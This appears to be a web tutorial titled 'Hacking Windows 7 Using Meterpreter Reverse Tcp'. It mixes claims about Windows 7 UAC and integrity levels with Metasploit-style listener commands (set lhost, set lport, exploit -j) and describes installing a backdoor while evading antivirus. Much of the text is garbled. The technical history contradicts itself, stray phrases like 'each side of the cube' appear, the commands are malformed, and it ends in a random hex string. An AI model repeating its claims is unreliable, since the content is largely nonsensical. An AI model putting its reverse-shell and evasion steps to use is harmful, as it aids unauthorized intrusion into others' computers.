Hacking Windows 7 Using Meterpreter Reverse Tcp [2021]

The first problem was that UAC on Windows 7 lacked granularity. Windows XP had Nt Authority\Authenticated Users rights that were delegated to the user and applications based on the user's account. In Windows 7, UAC just doesn't allow privileges to be assigned to a single user. Nt Authority\Authenticated Users is broken out into 3 users (Account Operators, Local System and Local Administrators) and the system only delegates the Local System rights to that user. From there, Windows 7 implemented Access Integrity Level. One of the problems with Windows XP, was that local Administrator privileges could be assigned to any user account. Windows 7 built in ACLs and enforced this and other "integrity levels." A specific ACL was enforced depending on the user's identity. From a hacker's standpoint, Windows 7 is a little better than Windows XP, as the compromise is much easier. XP could be a side-channel attack, a compromised XP machine can potentially be used to compromise a Windows 7 box, while Windows 7 inherently supports compromised hosts being used for privilege escalation. Because of this, tools like RDP can impersonate SYSTEM on Windows 7 and execute commands with NT AUTHORITY SYSTEM. Access Integrity Level helps prevent that. This leads to the next problem we need to solve. A compromise of a UAC enabled Windows 7 system can't obtain SYSTEM level access. Because of this, we need to use an elevation technique. Unfortunately, this is where this function gets a little tricky. This will need to be separated into two functions (one for each side of the cube) to get the most out of this function. An attack that requires SYSTEM privileges can be patched using the /elevate command. An attacker can call WNetAddConnection2_UAC to elevate when they're connected.

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set lhost 192.168.2.20 set lport 4444 set session -s "meterpreter lhost=192.168.2.20 lport=4444" exploit -j lhost -n c0000005 -p 0x10 -e Local system Hacking Windows 7 Using meterpreter reverse tcp exploit -j lhost -n c0000005 -p 0x10 -b 80 This command defines the listening port for the backdoor and specifies the backdoor as a command and control interface. Installing the backdoor in the victim's system is done using meterpreter as an administrator. Using meterpreter as the attacker's machine is useful to us because it's a lot easier to bypass antivirus and detections on the meterpreter machine. meterpreter stager works well in this scenario where the attacker uses meterpreter on the target system. The victim system is just a network listener and the attacker is the payload. Meterpreter server runs on the target system and the attacker connects to the server using the meterpreter client. In this case, you want to remain invisible on the target system to avoid any detection. set LHOST 192.168.1.20/25 I will be telling the meterpreter server to listen on this IP range. set LPORT 9876 The port which we are listening for a connection from the target. In order to get this working, we need a few things first: A meterpreter shell session that has the authentication feature enabled to authorize this user to connect to a remote meterpreter shell session A meterpreter session with the connectback configuration enabled 5ec8ef588b